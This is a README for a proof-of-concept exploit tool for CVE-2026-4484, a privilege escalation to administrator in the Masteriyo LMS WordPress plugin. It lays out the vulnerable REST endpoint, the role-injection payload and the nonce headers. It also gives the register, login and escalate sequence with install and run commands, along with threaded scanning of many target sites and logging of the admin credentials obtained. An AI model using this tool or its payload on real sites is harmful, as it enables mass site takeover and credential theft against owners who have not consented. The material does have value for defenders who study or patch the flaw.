CVE-2026-4484

Masteriyo LMS <= 2.1.6 - Missing Authorization to Authenticated (Student+) Privilege Escalation to Administrator

---

🔴 Vulnerability Overview

CVE-2026-4484 — Authenticated Privilege Escalation (Student → Administrator)

Field	Details
CVE ID	CVE-2026-4484
Severity	HIGH — CVSS v3.1 Score: 8.8
Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CNA	Wordfence
Affected Software	Masteriyo LMS Plugin for WordPress
Affected Versions	All versions up to and including 2.1.6
Vulnerability Type	Privilege Escalation (Role Manipulation)
Authentication Required	Yes — Student-level or above
CWE	CWE-269: Improper Privilege Management

Description:
The Masteriyo LMS plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.1.6. The vulnerability originates in the InstructorsController::prepare_object_for_database function, which fails to properly restrict role assignment during REST API requests. An authenticated attacker with as little as Student-level access can craft a specially formed POST request to the Masteriyo REST API endpoint — injecting "roles": ["administrator"] into the request payload — to silently elevate their account to WordPress Administrator, achieving full site takeover without any administrative interaction.

---

🛠️ Tool Description

This is a Proof-of-Concept (PoC) exploitation script targeting WordPress installations running a vulnerable version of the Masteriyo LMS plugin. The tool supports two attack modes:

Mode	Name	Flow	Use Case
1	Nx_1	Register → Login → Escalate → Verify Admin	Fresh attack — no existing account needed
2	Nx_2	Login → Escalate → Verify Admin	Existing account available (Student/Instructor)

Attack Flow

[Register / Login as Student]
         ↓
[Fetch Dashboard Context — user_id + nonce]
         ↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
         ↓
[Re-login with fresh session]
         ↓
[Verify /wp-admin access → confirmed Administrator]
         ↓
[Write to Login_admin.txt]

---

📋 Requirements

System Requirements

• Python 3.8 or higher
• Linux / Windows / macOS

Python Dependencies

pip install requests urllib3 colorama

Or via requirements file:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

---

🚀 Installation

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-4484.py

---

⚙️ Usage

Basic Run

python3 CVE-2026-4484.py

The tool uses an interactive terminal interface — all parameters are prompted at runtime.

---

🗂️ Target List Format

Create a plain text file (e.g., list.txt) with one target per line:

https://target1.com
https://target2.com
http://target3.com/wordpress

---

🟥 Mode 1 — Nx_1 (Register + Login + Escalate)

Use this mode when you have no existing account on the target. The tool registers a new student account automatically, then escalates it.

Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!

Steps performed automatically:

1. GET /account/signup/ → extract registration nonce
2. POST /st/ → register new account as Student
3. GET /account/ → extract login nonce
4. POST /wp-admin/admin-ajax.php → login via Masteriyo AJAX
5. GET /account/#/dashboard → extract current_user_id + nonce
6. POST /wp-json/masteriyo/v1/users/instructors/{id} with {"roles":["administrator"]}
7. Re-login with fresh session → verify admin panel access
8. Write confirmed hits to Login_admin.txt

---

🟩 Mode 2 — Nx_2 (Login + Escalate — Existing Account)

Use this mode when you already have a valid Student or Instructor account on the target.

Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword

Steps performed automatically:

1. GET /account/ → extract login nonce
2. POST /wp-admin/admin-ajax.php → login via Masteriyo AJAX
3. GET /account/#/dashboard → extract current_user_id + nonce
4. POST /wp-json/masteriyo/v1/users/instructors/{id} with {"roles":["administrator"]}
5. Re-login with fresh session → verify admin panel access
6. Write confirmed hits to Login_admin.txt

---

📁 Output Files

File	Description
Login_admin.txt	All confirmed administrator escalations

Output Format

https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!

Sample Terminal Output

[OK]    https://target.com :: LOGIN OK :: success
[OK]    https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK]    https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK]    https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).

---

🔍 Technical Details

Vulnerable Endpoint

POST /wp-json/masteriyo/v1/users/instructors/{user_id}

Exploit Payload

{
  "roles": ["administrator"]
}

Required Headers

Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>

Root Cause

The InstructorsController::prepare_object_for_database function in Masteriyo LMS processes the roles parameter from the REST request body without verifying whether the requesting user has the edit_users or promote_users capability. Any authenticated user (Student-level or above) who can reach this endpoint can submit an arbitrary role value — including administrator — which is then persisted directly to the WordPress user metadata table.

---

📡 Contact & Author

By: Nxploited (Khaled Alenazi)

 

---

⚠️ Legal Disclaimer